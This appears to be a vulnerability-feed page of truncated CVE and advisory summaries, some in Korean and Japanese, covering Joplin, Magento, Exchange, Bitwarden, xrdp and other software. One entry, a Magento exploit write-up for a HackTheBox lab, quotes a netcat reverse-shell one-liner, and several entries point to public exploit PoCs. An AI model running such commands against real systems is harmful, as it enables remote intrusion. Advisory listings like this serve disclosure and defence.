CVE-2026-105783

Joplin is an open source note-taking and to-do application that organises notes and lists into notebooks. Prior to 3.7.13, when Joplin Desktop is running with the opt-in Web Clipper server enabled, the server in packages/lib/ClipperServer.ts sends Access-Control-Allow-Origin: and allows an...

CVE-2026-105783 Joplin Web Clipper pairing allows cross-origin theft of a permanent API token

Joplin is an open source note-taking and to-do application that organises notes and lists into notebooks. Prior to 3.7.13, when Joplin Desktop is running with the opt-in Web Clipper server enabled, the server in packages/lib/ClipperServer.ts sends Access-Control-Allow-Origin: and allows an...

CVE-2026-105783

The Joplin note-taking application (prior to version 3.7.13 ) is vulnerable to cross-origin theft of a permanent API token when the optional Web Clipper server is enabled. The root cause is located in packages/lib/ClipperServer.ts, where the server sends Access-Control-Allow-Origin: * and fails t...

CVE-2015-1397-Magento-Shoplift

CVE-2015-1397-Magento-Shoplift 취약점 세부 정보 HackTheBox - SwagShop에서 확인된 취약점 1단계 = exploit.py Magento CMS 대시보드에 대한 관리자 자격 증명 획득 2단계 = postauth.py exploit.py에서 획득한 자격 증명을 postauth.py에 추가한 후 실행: python3 postauth.py http://TARGET.SITE/index.php/admin "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&1|nc...

CVE-2019-11539

CVE-2019-11539 원본 발견: Orange Tsai, Meh Chang 저자: Justin Wagner, Alyssa Herrera 감사 인사: Orange, Meh Chang, Rich Warren, Alyssa, Mimir 취약점 설명 Pulse Secure Pulse Connect Secure 버전 9.0RX 9.0R3.4 미만, 8.3RX 8.3R7.1 미만, 8.2RX 8.2R12.1 미만, 8.1RX 8.1R15.1 미만 및 Pulse Policy Secure 버전 9.0RX 9.0R3.2 미만, 5.4RX...

CVE-2020-8813

CVE-2020-8813 Cacti v1.2.8 원격 코드 실행 CVE-2020-8813용 공식 익스플로잇 Cacti v1.2.8 사전 인증 원격 코드 실행 Cacti v1.2.8 사후 인증 원격 코드 실행...

CVE-2023-20209

私は、Red Team エンゲージメント中にインターネット上で Cisco Expressway を何台か見かけたため調査を始めましたが、業務中にこの製品をさらに調査する時間はありませんでした。 当初は認証バイパスを探して RCE につなげようとしていましたが、時間切れとなり、認証後 RCE に落ち着きました。フロントエンドの PHP コードはさらなる悪用が期待できそうです……。 これは、CVE-2023-20209 の発見とベンダー通知に関する私のメモです。 悪用後のプロセスリストから、/sbin/request-crlupdate への呼び出しが見られます: root 16449 0...

Crater-CVE-2023-46865-RCE

Crater-CVE-2023-46865-RCE Crater =6.0.6, CVE-2023-46865 인증 후 RCE 슈퍼관리자 취약점 설명 Crater Invoice는 적절한 입력 검증이 없어 위험한 유형의 무제한 파일 업로드에 취약합니다. Base64Mime 검사 클래스는 IDAT 이미지 청크에 유효한 PHP 페이로드를 내장하여 우회할 수 있습니다. 슈퍼관리자 권한이 있는 사용자는 /api/v1/company/upload-logo에서 회사 로고를 통해 조작된 페이로드를 업로드할 수 있습니다. 사용법 $ usage: pytho...

OWASSRF-CVE-2022-41082-POC

CVE-2022-41082-POC CVE-2022-41082 NotProxyShell OWASSRF 취약점의 PoC로, Microsoft Exchange 서버에 영향을 미칩니다. 이는 ProxyNotShell OWASSRF에 대한 사후 인증 RCE이며, 명령 실행을 위해 유효한 자격 증명이 필요합니다. TabShell 취약점CVE-2022-41076을 위한 Powershell PoC 스크립트 추가 TabShell 취약점은 OWASSRF를 통해 성공적으로 접근 권한을 획득한 후 제한된 Powershell 샌드박스를 탈출할 수 있...

CVE-2022-41082-POC

CVE-2022-41082-POC CVE-2022-41082 NotProxyShell OWASSRF 脆弱性（Microsoft Exchange サーバーに影響）の PoC これは ProxyNotShell OWASSRF に対する認証後 RCE です。コマンド実行には有効な資格情報が必要です。 TabShell 脆弱性 CVE-2022-41076 用の Powershell PoC スクリプトを追加しました TabShell 脆弱性は、OWASSRF 経由でアクセスを取得した後に、制限された Powershell...

CVE-2019-20224

CVE-2019-20224 Pandora v7.0NG 인증 후 원격 코드 실행 CVE-2019-20224에 대한 공식 익스플로잇입니다...

CVE-2026-73489 Russh: Post-auth remote panic via pty-req with more than 130 terminal-mode records

Russh is a Rust SSH client & server library. Prior to 0.62.4, an authenticated SSH client can cause a denial of service by sending a pty-req channel request with more than 130 terminal-mode records. The parser in russh/src/server/encrypted.rs stores terminal modes in a fixed 130-entry...

EUVD-2026-55962

The Device Configuration Framework is vulnerable to an authentication bypass flaw. This flaw can only be exploited after authenticating with a viewer-privileged service account...

CVE-2026-72605: Missing Authentication for Critical Function

A missing authentication vulnerability in Swing Music 3.0.0 allows unauthenticated remote attackers to create arbitrary user accounts via the POST /auth/profile/create endpoint. The endpoint is allowlisted from JWT verification, permitting unauthenticated account creation. An attacker can registe...

GHSA-8WC8-HF36-MJH9 File Browser: ScopedFs follows a dangling symlink on write, letting a scoped user create files outside their scope

Summary ScopedFs confines every File Browser user to a scope directory. Its within guard is meant to reject any operation that follows a symbolic link out of that scope. When the link target does not exist yet, the guard walks up to the nearest existing ancestor and validates that instead. For a...

CVE-2026-60104: Authorization Bypass Through User-Controlled Key

Bitwarden Server before 2026.6.0 does not verify that the email in a POST /auth-requests/admin-request body belongs to the authenticated caller, allowing a low-privileged organization member to obtain another user's vault key and a victim-scoped access token by creating a Trusted Device Encryptio...

CVE-2026-7829 UltraVNC repeater authenticated out-of-bounds write in rule parser via oversized token

UltraVNC repeater through 1.8.2.2 contains a post-authentication out-of-bounds write in the allow/deny rule parser. In repeater/webgui/settings.c:225-272, after strncpys copies a rule token into temp1rule1 25-byte destination or temp2/temp3 16-byte destination, the code unconditionally writes a N...

JetBrains TeamCity <= 2025.11.4 Privilege Escalation (CVE-2026-44413)

The version of JetBrains TeamCity installed on the remote host is 2025.11.4 or prior. It is, therefore, affected by a post-authentication privilege escalation vulnerability that may allow any authenticated user, including standard or guest accounts, to expose some parts of the TeamCity server API...

EUVD-2026-23519

xrdp is an open source RDP server. Versions through 0.10.5 have a heap-based buffer overflow in the EGFX graphics dynamic virtual channel implementation due to insufficient validation of client-controlled size parameters, allowing an out-of-bounds write via crafted PDUs. Pre-authentication...

DEBIAN-CVE-2026-23943

Improper Handling of Highly Compressed Data Compression Bomb vulnerability in Erlang OTP ssh sshtransport modules allows Denial of Service via Resource Depletion. The SSH transport layer advertises legacy zlib compression by default and inflates attacker-controlled payloads pre-authentication...